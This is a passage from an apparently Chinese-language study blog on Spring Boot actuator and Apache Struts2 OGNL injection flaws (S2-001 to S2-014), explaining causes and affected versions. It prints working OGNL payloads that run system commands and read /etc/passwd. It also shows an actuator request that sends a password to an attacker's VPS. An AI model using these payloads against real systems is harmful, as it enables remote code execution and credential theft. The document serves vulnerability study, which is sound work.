style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">headers</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">timeout</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">r2</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">status_code</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">r2</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">text</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">300</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>另一种方法与这一种类似，只是包不一样：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>POST/actuator/env</span></span>\n<span class=\"line\"><span>Content-Type:application/json</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#123;\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http://your-vps-ip/$&#123;security.user.password&#125;\"&#125;</span></span></code></pre>\n<p>然后还是进行刷新配置，再查看VPS</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>POST/actuator/refresh </span></span>\n<span class=\"line\"><span>Content-Type:application/json</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Ncat:Connectionfrom****** </span></span>\n<span class=\"line\"><span>GET/SecretKe/apps/HTTP/1.1 </span></span>\n<span class=\"line\"><span>Accept:application/json,application/*+json </span></span>\n<span class=\"line\"><span>Host:****** </span></span>\n<span class=\"line\"><span>Connection:Keep-Alive</span></span>\n<span class=\"line\"><span>User-Agent:Apache-HttpClient/4.5.13(Java/1.8.0_191)</span></span>\n<span class=\"line\"><span>Accept-Encoding:gzip,deflate</span></span></code></pre>\n<p>apps前面的路径就是需要的数据</p>\n<h1 id=\"struts\"><a class=\"anchor\" href=\"#struts\">#</a> struts</h1>\n<p>学习struts相关漏洞之前先学习一下什么是OGNL吧</p>\n<h2 id=\"ognl\"><a class=\"anchor\" href=\"#ognl\">#</a> OGNL</h2>\n<p>参考：<a href=\"https://www.cnblogs.com/hgschool/p/17035322.html\">Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园</a></p>\n<p><a href=\"https://blog.csdn.net/mooyuan/article/details/151193133\">Struts2_S2-045漏洞复现：原理详解+环境搭建+渗透实践(CVE-2017-5638)-CSDN博客</a></p>\n<p><a href=\"https://www.freebuf.com/vuls/283821.html\">Struts2框架漏洞总结与复现 - FreeBuf网络安全行业门户</a></p>\n<p><a href=\"https://www.cnblogs.com/cenyu/p/6233942.html\">Ognl表达式基本原理和使用方法 - 洋葱源码 - 博客园</a></p>\n<p><a href=\"https://blog.csdn.net/qq_45074341/article/details/139627533\">一文全解：OGNL表达式以及Mybatis中的OGNL表达式-CSDN博客</a></p>\n<p><strong>Object Graphic Navigation Language</strong>，是一种表达式语言，可以存取对象的任意属性，调用对象的方法，遍历整个对象的结构图，实现字段类型转化等功能。它使用相同的表达式去存取对象的属性，OGNL可以让我们用非常简单的表达式访问对象层，例如，当前环境的根对象为user1，则表达式person.address[0].province可以访问到user1的person属性的第一个address的province属性。</p>\n<p><strong>基本语法：</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>object.property.property...</span></span></code></pre>\n<p>其中<code>object</code>是要访问的对象，<code>.</code>适用于分隔对象和属性的符号，<code>property</code>是对象的属性名。OGNL表达式可以连续使用<code>.</code>来访问对象的嵌套属性</p>\n<p>例如：假设有一个<code>ZLARYY</code>对象，其中包含一个<code>Friends</code>对象，可以使用OGNL表达式<code>ZLARYY.Friends.Su@sU</code>来访问<code>Friends</code>对象中的<code>Su@sU</code>属性</p>\n<p>OGNL表达式除了基本的属性访问之外，还提供了许多高级特性，如：</p>\n<ul>\n<li><strong>方法调用</strong>：可以使用<code>()</code>符号来调用对象的方法，如<code>Person.getAge()</code></li>\n<li><strong>数组和集合访问</strong>：可以使用<code>[]</code>符号来访问数组和集合中的元素，如：<code>persons[0].name</code>、<code>Person.&#123;name&#125;</code></li>\n<li><strong>条件表达式</strong>：可以使用<code>?:</code>符号来实现条件表达式，如<code>Person.age &gt; 18 ? '成年' : '未成年'</code></li>\n<li><strong>循环和迭代</strong>：可以使用<code>&#123;</code>和<code>&#125;</code>符号来实现循环和迭代，如<code>&#123;0..10&#125;</code>、<code>&#123;Persons.name&#125;</code></li>\n</ul>\n<p>开发者喜欢配合spring、hibernat用，称为SSH</p>\n<p>接下来跟着<a href=\"https://www.cnblogs.com/hgschool/p/17035322.html\">Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园</a>复现漏洞！！！</p>\n<h2 id=\"s2-001cve-2007-4556\"><a class=\"anchor\" href=\"#s2-001cve-2007-4556\">#</a> S2-001（CVE-2007-4556）</h2>\n<p>它是Apache Struts2历史上第一个被公开的OGNL注入漏洞，这个漏洞产生的根本原因在于Struts2早期版本（2.0.0-2.0.8）处理表单验证失败时的逻辑缺陷，在一个典型的web登录或注册场景中，如果用户填写的表单数据没有通过验证（比如密码太短、用户名包含非法字符），后端通常会将用户打回原表单页面，并且把刚才用户输入的内容回显在输入框里面</p>\n<p>为了实现这个动态回显功能，struts2默认开启了一个名为<code>altSynax</code>的特性，当表单验证失败需要重绘页面时，框架<strong>会将输入框的值作为OGNL表达式进行递归解析</strong></p>\n<p>这时候如果用户利用OGNL的语法特征，使用<code>%&#123;&#125;</code>将输入包裹起来，Struts2就会认为这是一段代码并执行它，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>假设你再用户名输入框里面填入：%&#123;2+2&#125;</span></span>\n<span class=\"line\"><span>当表单验证失败并重新加载后，就会发现输入框里面的内容变成了：4</span></span>\n<span class=\"line\"><span>这就证明服务器将用户的输入当成OGNL代码执行了</span></span></code></pre>\n<p>因为OGNL具备强大的Java底层调用能力，攻击者可以直接将数学运算替换为系统命令</p>\n<p>具体的复现可以参考<a href=\"https://www.cnblogs.com/hgschool/p/17035322.html\">Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园</a>这个大佬的文章，等ZLARYY学了代码审计之后再补复现的内容吧<strong>orz</strong>，这里就贴一下大佬的payload先：</p>\n<p>\n<pre style=\"white-space: pre-wrap; word-break: break-all; overflow-wrap: anywhere; overflow-x: auto;\"><code># 获取tomcat执行路径\n%&#123;\"tomcatBinDir&#123;\"+@java.lang.System@getProperty(\"user.dir\")+\"&#125;\"&#125;\n# 最后可能看到类似于 value=\"tomcatBinDir&#123;usr/local/tomcat&#125;\" 就可以知道当前 tomcat 的执行路径为 /usr/local/tomcat\n\n# 获取Web路径\n%&#123;#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()&#125;\n# 可能会回显 /usr/local/tomcat/webapps/ROOT/ 之类的当前系统 Web 路径\n\n# 执行任意命令\n%&#123;#a=(new java.lang.ProcessBuilder(new java.lang.String[]&#123;\"whoami\"&#125;)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()&#125;\n# 在这里面我们执行的命令是 whoami\n</code></pre>\n</p>\n<h2 id=\"s2-003\"><a class=\"anchor\" href=\"#s2-003\">#</a> S2-003</h2>\n<p>S2-003是一个沙箱逃逸漏洞，其出现的原因是S2-001出现之后官方对其做了两层防御：</p>\n<p>1.正则黑名单拦截：在<code>ParametersInterceptor</code>（处理HTTP参数的拦截器）中加入正则表达式，禁止参数名中包含<code>#</code>符号，因为OGNL访问上下文变量（如<code>#session</code>）必须用到<code>#</code></p>\n<p>2.引入安全沙箱<code>(SecurityMemberAccess)</code>：在OGNL引擎底层增加了一个权限控制器，默认将<code>allowStaticMethodAccess</code>设置为<code>false</code>，从而禁用<code>@</code>符号去调用<code>java.lang.Runtime</code>等危险类的静态方法。</p>\n<p>但是官方的正则表达式只拦截了明文的<code>#</code>字符，如果在HTTP<strong>参数名</strong>中使用OGNL引擎支持的Unicode编码<code>\\u0023</code>或者八进制<code>\\43</code>就能实现绕过<code>#</code>限制，然后就可以通过OGNL表达式修改沙箱的配置</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>//URL后拼接</span></span>\n<span class=\"line\"><span>?('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003dfalse')(bla)(bla)&#x26;('\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&#x26;('\\u0023mycmd\\u003d\\'ipconfig\\'')(bla)(bla)&#x26;('\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)')(bla)(bla)&#x26;(A)(('\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())')(bla))&#x26;(B)(('\\u0023myres\\u003dnew\\40byte[51020]')(bla))&#x26;(C)(('\\u0023mydat.readFully(\\u0023myres)')(bla))&#x26;(D)(('\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)')(bla))&#x26;('\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&#x26;(E)(('\\u0023myout.getWriter().println(\\u0023mystr)')(bla))</span></span></code></pre>\n<p>或者：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 开启静态方法调用权限（关闭沙箱）：利用\\u0023绕过拦截拿到#_memverAccess对象，强行把allowStaticMethodAccess属性改为true</span></span>\n<span class=\"line\"><span>('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(empty)=true</span></span>\n<span class=\"line\"><span># 放开方法执行限制</span></span>\n<span class=\"line\"><span>('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']')(empty)=false</span></span>\n<span class=\"line\"><span># 执行系统命令：沙箱被瓦解，然后使用@符号调用Runtime.getRuntime().exec()</span></span>\n<span class=\"line\"><span>('\\u0023_memberAccess.excludeProperties=&#123;&#125;')(empty)=true&#x26;</span></span>\n<span class=\"line\"><span>('\\u0023rt=@java.lang.Runtime@getRuntime()')(empty)=true&#x26;</span></span>\n<span class=\"line\"><span>('\\u0023rt.exec(\"whoami\")')(empty)=true</span></span></code></pre>\n<h2 id=\"s2-005cve-2010-1870\"><a class=\"anchor\" href=\"#s2-005cve-2010-1870\">#</a> S2-005（CVE-2010-1870）</h2>\n<p>该漏洞的产生首先是对S2-003漏洞的修补，官方在修补S2-003的时候仅仅是在用来拦截特殊字符的正则表达式的黑名单里，硬编码加上了<code>\\u0023</code>和<code>\\43</code>这两个字符串，不过，只要对<code>\\u0023</code>再做一些变化就能再次绕过黑名单，本质上与S2-003触发的是同一个底层问题。</p>\n<p>在受影响的struts版本(2.0.0-2.1.8.1)中，XWork的<code>ParametersIbtercepter</code>（负责将HTTP参数映射到Java对象）在处理参数名时，默认允许使用OGNL表达式，XWork会将GET参数的键和值利用OGNL表达式解析为Java语句：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>user.address.city=Bishkek&#x26;user['favoriteDrink']=kumys </span></span>\n<span class=\"line\"><span>//会被转化成</span></span>\n<span class=\"line\"><span>action.getUser().getAddress().setCity(\"Bishkek\")  </span></span>\n<span class=\"line\"><span>action.getUser().setFavoriteDrink(\"kumys\")</span></span></code></pre>\n<p>payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&#x26;(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&#x26;(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1</span></span></code></pre>\n<h2 id=\"s2-007\"><a class=\"anchor\" href=\"#s2-007\">#</a> S2-007</h2>\n<p>与前几个漏洞场景不同，该漏洞核心为：<strong>类型转换错误</strong></p>\n<p>假设有一个注册表单里面有一个字段叫做“年龄”，在后端的Java中这个字段被定义为了<code>Integer</code>整数类型，正常情况下用户输入18，Struts2会自动将字符串&quot;18&quot;转换为整数18并赋值给属性，但如果用户输入<code>abc</code>就会造成类型转换粗偶无，框架无法把<code>abc</code>转成整数，于是会中断正常的流程并在输入框旁边提示“无效的年龄输入”，并且会将用户刚才输入的错误内容原样回显在输入框里面，但在这个回显的底层逻辑中，当<code>ConversationErrorIntercepter</code>（专门处理转换错误的拦截器）介入时，它会将用户的错误输入存入一个Map中，当页面的UI标签（比如<code>&lt;s:textfield&gt;</code>）尝试把错误值渲染回网页时，它会对这个值进行OGNL评估，为了防止直接执行，Struts2开发者在拼接OGNL表达式时给用户的输入加上了单引号，试图当作一个纯字符串来处理</p>\n<p>当用户提交age为字符串而非整形数值时，后端用代码拼接 <code>&quot;'&quot; + value + &quot;'&quot;</code> 然后对其进行 OGNL 表达式解析。要成功利用，只需要找到一个配置了类似验证规则的表单字段使之转换出错，借助类似SQL注入单引号拼接的方式即可注入任意OGNL表达式。</p>\n<p>影响范围：2.0.0-2.2.3</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>' + (#_memberAccess[\"allowStaticMethodAccess\"]=true,#foo=new java.lang.Boolean(\"false\") ,#context[\"xwork.MethodAccessor.denyMethodExecution\"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '</span></span></code></pre>\n<h2 id=\"s2-008cve-2012-0391\"><a class=\"anchor\" href=\"#s2-008cve-2012-0391\">#</a> S2-008（CVE-2012-0391）</h2>\n<p>在Struts2的开发阶段，框架提供了一个名为<code>devMode</code>（开发模式）的功能，如果在<code>struts.xml</code>中配置了<code>&lt;constant name=&quot;struts.devMode&quot; value=&quot;true&quot; /&gt;</code>,struts2就会开启大量的调试功能</p>\n<p>其中包含一个名为<code>DebuggingIntercepter</code>（调试拦截器）的组件，允许开发者通过URL参数，直接向服务器发送一段OGNL代码并执行，如果运维在将代码发布到生产环境中时，忘记把<code>devMode</code>改回<code>false</code>，这样做只需要在任何Action的URL后面加上<code>debug=command&amp;expression=</code>，后面跟上OGNL表达式</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>/devmode.action?debug=command&#x26;expression=(%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean(\"false\")+%2c%23context[\"xwork.MethodAccessor.denyMethodExecution\"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+-al+./').getInputStream()))</span></span></code></pre>\n<h2 id=\"s2-009cve-2011-3923\"><a class=\"anchor\" href=\"#s2-009cve-2011-3923\">#</a> S2-009（CVE-2011-3923）</h2>\n<p>S2-009是对S2-005的白名单防御，官方限定HTTP的参数名称只能包含字母、数字及少数几个特定的符号中：<code>[a-zA-Z0-9\\.\\]\\[\\(\\)_']+</code></p>\n<p>在OGNL的高级语法中，括号的特殊含义是：AST（抽象语法树）节点评估，如果写出类似于<code>(A)(B)</code>的OGNL表达式，引擎会先计算<code>A</code>的值，如果A提取出来的是一个字符串，引擎就会把这个字符串当作一段新的OGNL代码，作为B的上下文参数再去解析和执行。</p>\n<p>虽然参数名受到白名单严格过滤，但是参数值不受正则限制，所以就可以把恶意代码放在值里</p>\n<p>影响范围：2.1.0-2.3.1.1</p>\n<p>比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/HelloWorld.acton?example=&#x26;(example)('xxx')=1</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/ajax/example5.action?age=12313&#x26;name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&#x26;z[(name)(%27meh%27)]</span></span></code></pre>\n<h2 id=\"s2-012\"><a class=\"anchor\" href=\"#s2-012\">#</a> S2-012</h2>\n<p>S2-012并不是Struts默认配置下就会触发的漏洞，如果在配置Action中Result时使用了重定向类型，并且还使用${param_name}作为重定向变量，例如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">package</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> name</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">S2-012</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> extends</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">struts-default</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">action</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> name</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> class</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">com.demo.action.UserAction</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">result</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> name</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">redirect</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> type</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">redirect</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">/index.jsp?name=$</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">name</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">result</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> name</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">input</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">/index.jsp</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">result</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> name</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">success</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">/index.jsp</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">action</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">package</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span></code></pre>\n<p>这里UserAction中定义有一个name变量，当触发redirect类型返回时，Struts2 获取使用${name}获取其值，在这个过程中会对name参数的值执行OGNL表达式解析，从而可以插入任意OGNL表达式导致命令执行。</p>\n<p>假设有一段OGNL探针：<code> %{#a=2+2} </code>，将其赋值为name之后系统原封不动地将其赋值给了Action的name属性，执行Action之后登录逻辑执行完毕返回&quot;success&quot;，然后服务器读取重定向配置，此时准备用来重定向的URL从<code>?name=$&#123;name&#125;</code>变成了<code> ?name=%{#a=2+2} </code>，最后由于struts2中的<code>ServletActionRedirectResult</code>类的设计缺陷，它在将URL真正发送给浏览器之前，为了确保URL里的动态参数都被正确解析，它会对拼装好的URL再次调用OGNL引擎进行一次评估，所以最后引擎看到了<code>$&#123;...&#125;</code>语法就会执行变成<code>?name=4</code></p>\n<p>影响范围：2.1.0-2.3.13</p>\n<p>\n<pre class=\"payload-code\"><code>%&#123;#a=(new java.lang.ProcessBuilder(new java.lang.String[]&#123;\"cat\", \"/etc/passwd\"&#125;)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()&#125;\n</code></pre>\n</p>\n<h2 id=\"s2-013s2-014\"><a class=\"anchor\" href=\"#s2-013s2-014\">#</a> S2-013/S2-014</h2>\n<p>这两个漏洞的原理一致但是触发漏洞的组件不同，在S2-012中，漏洞出现在<code>&lt;result type=&quot;redirect&quot;&gt;</code>的URL拼装环节上，在S2-013中，漏洞处在Struts2的UI标签组件上，特别是URL标签</p>\n<p>struts2提供了一些方便在JSP页面中生成链接的标签，比如：<code>&lt;s:url&gt;</code>和<code>&lt;s:a&gt;</code>，这些标签有一个非常方便的属性叫做<code>includeParams</code></p>\n<p>当在JSP中有以下这段代码时：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;s:url action=\"HelloWorld\" includeParams=\"all\" /></span></span></code></pre>\n<p><code>includeParams</code>的属性决定了在生成新的URL时要不要把当前请求中已有的参数也带过去，它有三个值：</p>\n<p><code>none</code>：不包含任何参数（默认值）</p>\n<p><code>get</code>：只包含当前请求中的GET参数</p>\n<p><code>all</code>：包含当前请求中的所有GET参数和POST参数</p>\n<p>这时候如果页面上有一个标签：<code>&lt;s:a href=&quot;%&#123;url&#125;&quot; includeParams=&quot;all&quot;&gt;Click Here&lt;/s:a&gt;</code>，攻击者向这个页面发送一个包含恶意OGNL表达式的参数，比如：<code> ?fakeParam=%{#a=2+2} </code>，由于<code>includeParams=&quot;all&quot;</code>，struts2会去寻找当前请求的所有参数准备拼接到新生成的链接里，struts2的<code>UrlHelper</code>类在处理这些抓取来的参数时，为了防止这些参数值中可能存在动态变量，就会对这个参数值进行OGNL评估，于是<code>%&#123;a=2+2&#125;</code>在渲染JSP的时候就被触发了</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>?x=%&#123;(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec(\"touch 